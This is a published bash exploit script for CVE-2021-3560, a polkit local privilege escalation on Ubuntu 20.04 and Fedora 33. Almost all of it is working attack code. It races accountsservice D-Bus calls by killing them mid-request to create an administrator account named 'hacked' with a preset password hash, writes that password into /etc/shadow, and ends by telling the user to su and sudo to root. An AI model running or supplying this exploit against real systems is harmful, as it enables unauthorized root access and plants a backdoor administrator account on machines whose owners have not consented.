Polkit 0.105-26 0.117-2 – Local Privilege Escalation
# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation # Date: 06/11/2021 # Exploit Author: J Smith (CadmusofThebes) # Vendor Homepage: https://www.freedesktop.org/ # Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html # Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora) # Tested on: Ubuntu 20.04, Fedora 33 # CVE: CVE-2021-3560 # Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ #!/bin/bash # Set the name and display name userName="hacked" realName="hacked" # Set the account as an administrator accountType=1 # Set the password hash for 'password' and password hint password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB' passHint="password" # Check Polkit version polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9) if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then echo "[*] Vulnerable version of polkit found" else echo "[!] WARNING: Version of polkit might not vulnerable" fi # Validate user is running in SSH instead of desktop terminal if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts" exit fi # Test the dbus-send timing to load into exploit echo "[*] Determining dbus-send timing" realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 ) halfTime=$(echo "scale=3;$realTime/2" | bc) # Check for user first in case previous run of script failed on password set if id "$userName" &>/dev/null; then userid=$(id -u $userName) echo "[*] New user $userName already exists with uid of $userid" else userid="" echo "[*] Attempting to create account" while [[ $userid == "" ]] do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null if id "$userName" &>/dev/null; then userid=$(id -u $userName) echo "[*] New user $userName created with uid of $userid" fi done fi # Add the password to /etc/shadow # Sleep added to ensure there is enough of a delay between timestamp checks echo "[*] Adding password to /etc/shadow and enabling user" sleep 1 currentTimestamp=$(stat -c %Z /etc/shadow) fileChanged="n" while [ $fileChanged == "n" ] do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then fileChanged="y" echo "[*] Exploit complete!" fi done echo "" echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access" |